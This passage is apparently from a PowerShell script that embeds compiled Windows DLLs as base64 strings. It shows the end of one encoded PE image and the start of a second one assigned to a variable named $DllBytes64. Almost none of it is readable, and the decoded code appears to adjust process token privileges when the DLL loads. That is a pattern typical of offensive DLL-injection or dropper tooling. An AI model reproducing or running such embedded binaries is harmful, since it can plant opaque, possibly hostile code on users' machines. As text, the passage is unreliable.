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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + $DllBytes64 = "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